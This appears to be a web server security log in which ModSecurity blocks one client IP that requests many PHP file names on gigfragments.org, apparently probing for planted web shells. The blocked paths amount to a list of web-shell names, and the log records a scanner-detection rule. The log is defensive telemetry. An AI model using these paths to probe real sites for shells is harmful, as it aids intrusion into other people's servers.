[Fri Dec 19 18:48:48.364972 2025] [:error] [pid 20582:tid 20657] [client 52.187.119.223:19979] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/OK.php"] [unique_id "aUUtkMpAnrkQKZ4b5gYM8wAAAM8"]
[Fri Dec 19 18:48:48.559876 2025] [:error] [pid 20580:tid 20591] [client 52.187.119.223:19972] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/OK.php"] [unique_id "aUUtkEmd1op_YdAdgR132QAAAEU"]
[Fri Dec 19 18:48:48.782519 2025] [:error] [pid 20580:tid 20602] [client 52.187.119.223:20053] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aUUtkEmd1op_YdAdgR133AAAAFA"]
[Fri Dec 19 18:48:49.053416 2025] [:error] [pid 20580:tid 20586] [client 52.187.119.223:20038] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aUUtkUmd1op_YdAdgR133QAAAEA"]
[Fri Dec 19 18:48:49.280814 2025] [:error] [pid 20580:tid 20595] [client 52.187.119.223:20075] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aUUtkUmd1op_YdAdgR134AAAAEk"]
[Fri Dec 19 18:48:49.497855 2025] [:error] [pid 20582:tid 20659] [client 52.187.119.223:20093] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aUUtkcpAnrkQKZ4b5gYM_AAAANE"]
[Fri Dec 19 18:48:49.714485 2025] [:error] [pid 41451:tid 41466] [client 52.187.119.223:20041] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aUUtkQYXFn-DbZghZBGxbQAAAAw"]
[Fri Dec 19 18:48:50.047887 2025] [:error] [pid 20581:tid 20635] [client 52.187.119.223:19977] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aUUtkvxEv7WXNhnFD1lh2AAAAJQ"]
[Fri Dec 19 18:48:50.243910 2025] [:error] [pid 41451:tid 41459] [client 52.187.119.223:19983] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aUUtkgYXFn-DbZghZBGxbgAAAAU"]
[Fri Dec 19 18:48:50.458979 2025] [:error] [pid 20675:tid 20698] [client 52.187.119.223:20016] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aUUtkrMyJ3XqeDRsbQlpTAAAAQo"]
[Fri Dec 19 18:48:50.679449 2025] [:error] [pid 20581:tid 20627] [client 52.187.119.223:9191] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/arig.php"] [unique_id "aUUtkvxEv7WXNhnFD1lh2gAAAIw"]
[Fri Dec 19 18:48:51.176578 2025] [:error] [pid 41451:tid 41467] [client 52.187.119.223:20040] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/arig.php"] [unique_id "aUUtkwYXFn-DbZghZBGxdQAAAA0"]
[Fri Dec 19 18:48:51.413781 2025] [:error] [pid 20582:tid 20652] [client 52.187.119.223:9174] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/arig.php"] [unique_id "aUUtk8pAnrkQKZ4b5gYNBAAAAMo"]
[Fri Dec 19 18:48:51.617644 2025] [:error] [pid 20675:tid 20699] [client 52.187.119.223:20065] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/arig.php"] [unique_id "aUUtk7MyJ3XqeDRsbQlpTwAAAQs"]
[Fri Dec 19 18:48:51.803332 2025] [:error] [pid 20580:tid 20597] [client 52.187.119.223:20073] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aUUtk0md1op_YdAdgR137AAAAEs"]
[Fri Dec 19 18:48:52.012499 2025] [:error] [pid 20580:tid 20598] [client 52.187.119.223:20047] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aUUtlEmd1op_YdAdgR137QAAAEw"]
[Fri Dec 19 18:48:52.208704 2025] [:error] [pid 20581:tid 20620] [client 52.187.119.223:20081] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aUUtlPxEv7WXNhnFD1lh3AAAAIU"]
[Fri Dec 19 18:48:52.407771 2025] [:error] [pid 20582:tid 20661] [client 52.187.119.223:20055] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aUUtlMpAnrkQKZ4b5gYNBgAAANM"]
[Fri Dec 19 18:48:52.780425 2025] [:error] [pid 41451:tid 41461] [client 52.187.119.223:9170] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aUUtlAYXFn-DbZghZBGxeAAAAAc"]
[Fri Dec 19 18:48:53.097502 2025] [:error] [pid 41451:tid 41472] [client 52.187.119.223:20080] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aUUtlQYXFn-DbZghZBGxeQAAABI"]
[Fri Dec 19 18:48:53.302642 2025] [:error] [pid 20675:tid 20710] [client 52.187.119.223:20066] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aUUtlbMyJ3XqeDRsbQlpUwAAARY"]
[Fri Dec 19 18:48:53.490502 2025] [:error] [pid 20580:tid 20595] [client 52.187.119.223:20035] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aUUtlUmd1op_YdAdgR138AAAAEk"]
[Fri Dec 19 18:48:53.744320 2025] [:error] [pid 20581:tid 20618] [client 52.187.119.223:19986] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/af32.php"] [unique_id "aUUtlfxEv7WXNhnFD1lh4AAAAIM"]
[Fri Dec 19 18:48:53.980607 2025] [:error] [pid 20580:tid 20599] [client 52.187.119.223:20052] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/af32.php"] [unique_id "aUUtlUmd1op_YdAdgR138QAAAE0"]
[Fri Dec 19 18:48:54.329711 2025] [:error] [pid 20580:tid 20601] [client 52.187.119.223:20046] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/af32.php"] [unique_id "aUUtlkmd1op_YdAdgR138wAAAE8"]
[Fri Dec 19 18:48:54.533676 2025] [:error] [pid 20675:tid 20702] [client 52.187.119.223:20061] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/af32.php"] [unique_id "aUUtlrMyJ3XqeDRsbQlpVgAAAQ4"]
[Fri Dec 19 18:48:54.742355 2025] [:error] [pid 41451:tid 41457] [client 52.187.119.223:20059] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rz.php"] [unique_id "aUUtlgYXFn-DbZghZBGxewAAAAM"]
[Fri Dec 19 18:48:54.963125 2025] [:error] [pid 20580:tid 20603] [client 52.187.119.223:20001] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rz.php"] [unique_id "aUUtlkmd1op_YdAdgR139QAAAFE"]
[Fri Dec 19 18:48:55.184292 2025] [:error] [pid 20581:tid 20636] [client 52.187.119.223:19981] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rz.php"] [unique_id "aUUtl_xEv7WXNhnFD1lh4wAAAJU"]
[Fri Dec 19 18:48:55.436173 2025] [:error] [pid 20580:tid 20587] [client 52.187.119.223:20006] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rz.php"] [unique_id "aUUtl0md1op_YdAdgR13-QAAAEE"]
[Fri Dec 19 18:48:55.690628 2025] [:error] [pid 41451:tid 41466] [client 52.187.119.223:19991] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hugo.php"] [unique_id "aUUtlwYXFn-DbZghZBGxggAAAAw"]
[Fri Dec 19 18:48:55.988590 2025] [:error] [pid 20675:tid 20693] [client 52.187.119.223:20033] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hugo.php"] [unique_id "aUUtl7MyJ3XqeDRsbQlpXQAAAQU"]
[Fri Dec 19 18:48:56.224840 2025] [:error] [pid 20582:tid 20649] [client 52.187.119.223:9163] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hugo.php"] [unique_id "aUUtmMpAnrkQKZ4b5gYNCgAAAMc"]
[Fri Dec 19 18:48:56.466200 2025] [:error] [pid 20675:tid 20712] [client 52.187.119.223:20071] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hugo.php"] [unique_id "aUUtmLMyJ3XqeDRsbQlpXgAAARg"]
[Fri Dec 19 18:48:56.685941 2025] [:error] [pid 41451:tid 41478] [client 52.187.119.223:20021] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aUUtmAYXFn-DbZghZBGxhgAAABg"]
[Fri Dec 19 18:48:56.892922 2025] [:error] [pid 41451:tid 41467] [client 52.187.119.223:19993] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aUUtmAYXFn-DbZghZBGxhwAAAA0"]
[Fri Dec 19 18:48:57.269840 2025] [:error] [pid 20675:tid 20703] [client 52.187.119.223:20068] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aUUtmbMyJ3XqeDRsbQlpYAAAAQ8"]
[Fri Dec 19 18:48:57.446140 2025] [:error] [pid 20580:tid 20602] [client 52.187.119.223:20045] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aUUtmUmd1op_YdAdgR13_QAAAFA"]
[Fri Dec 19 18:48:57.699431 2025] [:error] [pid 20675:tid 20710] [client 52.187.119.223:20089] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lzyrj.php"] [unique_id "aUUtmbMyJ3XqeDRsbQlpYgAAARY"]
[Fri Dec 19 18:48:57.931463 2025] [:error] [pid 41451:tid 41477] [client 52.187.119.223:20095] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lzyrj.php"] [unique_id "aUUtmQYXFn-DbZghZBGxiAAAABc"]
[Fri Dec 19 18:48:58.146411 2025] [:error] [pid 20581:tid 20634] [client 52.187.119.223:20031] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lzyrj.php"] [unique_id "aUUtmvxEv7WXNhnFD1lh6wAAAJM"]
[Fri Dec 19 18:48:58.680483 2025] [:error] [pid 20675:tid 20702] [client 52.187.119.223:20048] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lzyrj.php"] [unique_id "aUUtmrMyJ3XqeDRsbQlpZgAAAQ4"]
[Fri Dec 19 18:48:58.893102 2025] [:error] [pid 20675:tid 20691] [client 52.187.119.223:20092] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/laudq.php"] [unique_id "aUUtmrMyJ3XqeDRsbQlpaAAAAQM"]
[Fri Dec 19 18:48:59.106142 2025] [:error] [pid 20675:tid 20692] [client 52.187.119.223:9176] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/laudq.php"] [unique_id "aUUtm7MyJ3XqeDRsbQlpbAAAAQQ"]
[Fri Dec 19 18:48:59.289898 2025] [:error] [pid 20675:tid 20698] [client 52.187.119.223:20029] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/laudq.php"] [unique_id "aUUtm7MyJ3XqeDRsbQlpbQAAAQo"]
[Fri Dec 19 18:48:59.487444 2025] [:error] [pid 41451:tid 41454] [client 52.187.119.223:19996] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/laudq.php"] [unique_id "aUUtmwYXFn-DbZghZBGxkgAAAAA"]
[Fri Dec 19 18:48:59.708908 2025] [:error] [pid 20581:tid 20631] [client 52.187.119.223:9206] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anjay.php"] [unique_id "aUUtm_xEv7WXNhnFD1lh7QAAAJA"]
[Fri Dec 19 18:48:59.977602 2025] [:error] [pid 20675:tid 20712] [client 52.187.119.223:9190] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anjay.php"] [unique_id "aUUtm7MyJ3XqeDRsbQlpbwAAARg"]
[Fri Dec 19 18:49:00.340314 2025] [:error] [pid 20675:tid 20704] [client 52.187.119.223:20078] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anjay.php"] [unique_id "aUUtnLMyJ3XqeDRsbQlpcAAAARA"]
[Fri Dec 19 18:49:00.532597 2025] [:error] [pid 20675:tid 20699] [client 52.187.119.223:20042] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anjay.php"] [unique_id "aUUtnLMyJ3XqeDRsbQlpcQAAAQs"]
[Fri Dec 19 18:49:00.760452 2025] [:error] [pid 20582:tid 20646] [client 52.187.119.223:19995] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/let.php"] [unique_id "aUUtnMpAnrkQKZ4b5gYNEgAAAMQ"]
[Fri Dec 19 18:49:00.955655 2025] [:error] [pid 20675:tid 20703] [client 52.187.119.223:20070] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/let.php"] [unique_id "aUUtnLMyJ3XqeDRsbQlpcgAAAQ8"]
[Fri Dec 19 18:49:01.214102 2025] [:error] [pid 20675:tid 20710] [client 52.187.119.223:9178] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/let.php"] [unique_id "aUUtnbMyJ3XqeDRsbQlpcwAAARY"]
[Fri Dec 19 18:49:01.542916 2025] [:error] [pid 20580:tid 20604] [client 52.187.119.223:20034] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/let.php"] [unique_id "aUUtnUmd1op_YdAdgR14BQAAAFI"]
[Fri Dec 19 18:49:01.773682 2025] [:error] [pid 20580:tid 20591] [client 52.187.119.223:20067] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aUUtnUmd1op_YdAdgR14BwAAAEU"]
[Fri Dec 19 18:49:01.998494 2025] [:error] [pid 20675:tid 20705] [client 52.187.119.223:20043] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aUUtnbMyJ3XqeDRsbQlpdgAAARE"]
[Fri Dec 19 18:49:02.274982 2025] [:error] [pid 20582:tid 20664] [client 52.187.119.223:19976] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aUUtnspAnrkQKZ4b5gYNEwAAANY"]
